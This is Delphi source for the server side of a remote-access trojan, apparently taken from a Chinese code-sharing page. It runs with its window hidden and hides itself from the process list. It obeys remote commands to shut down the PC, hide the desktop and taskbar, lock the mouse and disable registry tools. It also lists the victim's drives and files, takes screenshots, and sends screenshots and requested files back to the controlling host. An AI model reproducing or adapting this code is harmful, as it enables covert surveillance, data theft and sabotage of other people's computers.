?? server.pas
字號:
if pos('mess!',data)=1 then
begin
messagebox(form1.handle,pchar(strfile),'系統',MB_OK+MB_ICONSTOP);
//case t1 of
// 1: messagebox(form1.handle,pchar(strfile),'數據天使',MB_OK+MB_ICONSTOP);
// 2: messagebox(form1.handle,pchar(strfile),'數據天使',MB_YESNO+MB_ICONSTOP);
// 3: messagebox(form1.handle,pchar(strfile),'數據天使',MB_ABORTRETRYIGNORE +MB_ICONSTOP);
// 4: messagebox(form1.handle,pchar(strfile),'數據天使',MB_okcancel +MB_ICONSTOP);
// 5: messagebox(form1.handle,pchar(strfile),'數據天使',MB_yesnocancel +MB_ICONSTOP);
// 6: messagebox(form1.handle,pchar(strfile),'數據天使',MB_RETRYCANCEL +MB_ICONSTOP);
//end;
end;
// 驅動器列表
if pos('dir!!',data)=1 then
begin
socket.SendText('dir!!'+DriveComboBox1.Items.Text );
end;
if pos('file!',data)=1 then
begin
drivecombobox1.Text :=strfile;
socket.Sendtext('file!'+DirectoryListBox1.Items.Text);
end;
if pos('file1',data)=1 then
begin
DirectoryListBox1.Directory:=strfile;
socket.SendText('file1'+FileListBox1.Items.Text);
end;
//遠程控制關機
if data='close' then ExitWindowsEx(EWX_SHUTDOWN ,0);
if data='reboot' then ExitWindowsEx(EWX_REBOOT ,0);
if data='logo' then exitwindowsex(EWX_LOGOFF,0);
if data='shutdown' then exitwindowsex(EWX_REBOOT or EWX_shutdown,0);
if data='poweroff' then exitwindowsex(EWX_poweroff or EWx_reboot ,0);
//自動
if data='noauto' then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_LOCAL_MACHINE;
if myreg.openkey('\Config\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings',true)
then begin
number:=0;
myreg.WriteBinaryData('EnableAutodial',number,4);
myreg.CloseKey;
end;
myreg.Free;
end;
if data='yesauto' then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_LOCAL_MACHINE;
if myreg.openkey('\Config\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings',true)
then begin
number:=1;
myreg.WriteBinaryData('EnableAutodial',number,4);
myreg.CloseKey;
end;
myreg.Free;
end;
//桌面
if data='nodesktop' then begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_HIDE);
end;
if data='yesdesktop' then begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_SHOW);
end;
if data='nohot' then systemparametersinfo(spi_screensaverrunning,1,@temp,0);
if label1.Caption='yeshot' then systemparametersinfo(spi_screensaverrunning,0,@temp,0);
//注冊表
if data='noreg' then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_CURRENT_USER;
if myreg.OpenKey('software\microsoft\windows\currentversion\policies\system',true) then
begin
myreg.WriteInteger('DisableRegistryTools',1);
myreg.CloseKey;
end;
myreg.Free;
end;
if data='yesreg' then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_CURRENT_USER;
if myreg.OpenKey('software\microsoft\windows\currentversion\policies\system',true) then
begin
myreg.DeleteValue('DisableRegistryTools');
myreg.CloseKey;
end;
myreg.Free;
end;
// mouse
if data='nomouse' then
begin
rtscreen.Left:=0;
rtscreen.Top:=0;
rtscreen.Right:=0;
rtscreen.Bottom:=0;
MapWindowPoints(handle, 0, rtscreen, 2); // 座標換算
ClipCursor(@rtscreen);
end;
if data='yesmouse' then
begin
rtScreen := Rect(0, 0, Screen.Width, Screen.Height);
ClipCursor(@rtScreen);
end;
//處理開始按鈕
if data='nobar' then
begin
hwnd1:=findwindow('shell_traywnd',nil);
hwnd2:=getwindow(hwnd1,gw_child);
getclassname(hwnd2,pchar(buttonname),255);
showwindow(hwnd2,sw_hide);
end;
if data='yesbar' then
begin
hwnd1:=findwindow('shell_traywnd',nil);
hwnd2:=getwindow(hwnd1,gw_child);
getclassname(hwnd2,pchar(buttonname),255);
showwindow(hwnd2,sw_show);
end;
//處理任務欄
if data='notask' then
begin
hwnd1:=findwindow('shell_traywnd',nil);
showwindow(hwnd1,sw_hide)
end;
if data='yestask' then
begin
hwnd1:=findwindow('shell_traywnd',nil);
showwindow(hwnd1,sw_show);
end;
//更改分辯率
if data='set640' then
begin
x:=640;
y:=480;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
if data='set800' then
begin
x:=800;
y:=600;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
if data='set1024' then
begin
x:=1024;
y:=768;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
if data='set1280' then
begin
x:=1280;
y:=1024;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
if data='set1600' then
begin
x:=1600;
y:=1200;
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
//查獲屏幕
if data='bitmap' then
begin
fulls:=TBitmap.Create ;
fulls.Width:=screen.Width ;
fulls.Height :=screen.Height ;
DC:=GetDc(0);
fullsc:=TCanvas.Create ;
fullsc.Handle:=DC;
fulls.Canvas.CopyRect(rect(0,0,screen.width,screen.height),fullsc,rect(0,0,screen.width,screen.height));
fullsc.Free;
releasedc(0,dc);
image1.Picture.Bitmap:=fulls;
image1.Width:=fulls.Width ;
image1.Height:=fulls.Height ;
fulls.Free;
form1.image1.Picture.SaveToFile('c:\windows\system\desktop.bmp') ;
Begin
NMStrm1.Host := Edit1.Text;
NMStrm1.FromName := 'NetMasters';;
MyFStream := TFileStream.Create('c:\windows\system\desktop.bmp', fmOpenRead);
try
serversocket1.Active:=false;
NMStrm1.PostIt(MyFStream);
finally
MyFStream.Free;
end;
timer2.Enabled:=false;
serversocket1.Active:=true;
end;
end;
if pos('down!',data)=1 then
Begin
NMStrm2.Host := Edit1.Text;
NMStrm2.FromName := 'NetMasterstr';;
MyFStream := TFileStream.Create(strfile, fmOpenRead);
try
serversocket1.Active:=false;
NMStrm2.PostIt(MyFStream);
finally
MyFStream.Free;
end;
serversocket1.Active:=true;
end;
if data='list!' then
begin
socket.SendText('list!'+listbox1.Items.Text);
end;
//上載文件
if pos('up!!!',data)=1 then
begin
end;
end;
procedure TForm1.serversocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
serversocket1.Active:=true;
Statusbar1.simpleText := '正在監聽...'
end;
//掃描進程
procedure TForm1.Timer1Timer(Sender: TObject);
var
hCurrentWindow :Hwnd;
szText: array[0..254] of char;
begin
listbox1.Clear;
hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
while hCurrentWindow <> 0 do
begin
if GetWindowText(hCurrentWindow, @szText, 255)>0 then
listbox1.items.Add(StrPas(@szText));
hCurrentWindow:=GetWindow(hCurrentWindow, GW_HWNDNEXT);
end;
end;
procedure TForm1.serversocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
serversocket1.Active:=true;
Statusbar1.simpleText := '正在監聽...';
statusbar1.SimpleText:=inttostr(Errorcode);
errorcode:=0;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
fulls: TBitmap;
fullsc: TCanvas;
dc:HDC;
begin
fulls:=TBitmap.Create ;
fulls.Width:=screen.Width ;
fulls.Height :=screen.Height ;
DC:=GetDc(0);
fullsc:=TCanvas.Create ;
fullsc.Handle:=DC;
fulls.Canvas.CopyRect(rect(0,0,screen.width,screen.height),fullsc,rect(0,0,screen.width,screen.height));
fullsc.Free;
releasedc(0,dc);
image1.Picture.Bitmap:=fulls;
image1.Width:=fulls.Width ;
image1.Height:=fulls.Height ;
fulls.Free;
form1.image1.Picture.SaveToFile('c:\windows\system\desktop.bmp') ;
timer2.Enabled:=false;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
form1.Hide ;
end;
procedure TForm1.serversocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
edit1.Text:=socket.RemoteAddress ;
end;
procedure TForm1.NMStrm1MessageSent(Sender: TObject);
begin
serversocket1.Socket.SendText('hiok');
end;
// 退出處理
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if FileExists('c:\windows\system\desktop.bmp') then
begin
deletefile('c:\windows\system\desktop.bmp');
end;
serversocket1.Active:=false;
///winexec(pchar(ExtractFilePath(application.name)+(application.Name)),sw_show);
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var MySysPath : PCHAR ;
myreg:tregistry;
syspath:string;
begin
GetMem(MySysPath,255);
GetSystemDirectory(MySysPath,255);
syspath:=string(mysyspath);
RegisterServiceProcess(GetCurrentProcessId,0);
//
if unregisterhotkey(handle,0) then
begin
// application.MessageBox('注銷成功','系統',MB_OK+MB_iconstop);
end;
//ShellExecute(form1.handle,'open',pchar(syspath+'\kernel32.exe'),0,0,SW_HIDE);
//WinExec(pchar(syspath+'\kernel32.exe'),sw_hide);
//SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedure TForm1.NMStrmServ1ClientContact(Sender: TObject);
begin
NMStrmServ1.ReportLevel := Status_Basic;
NMStrmServ1.TimeOut := 90000;
statusbar1.SimpleText:='主機已連接上...';
end;
procedure TForm1.NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
strm: TStream);
var
myfstream :Tfilestream ;
begin
If FileExists(label1.caption) then DeleteFile(label1.Caption);
MyFStream := TFileStream.Create(label1.caption, fmCreate);
try
MyFStream.CopyFrom(strm, strm.size);
finally
MYFStream.Free;
end;
serversocket1.Active:=true;
end;
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -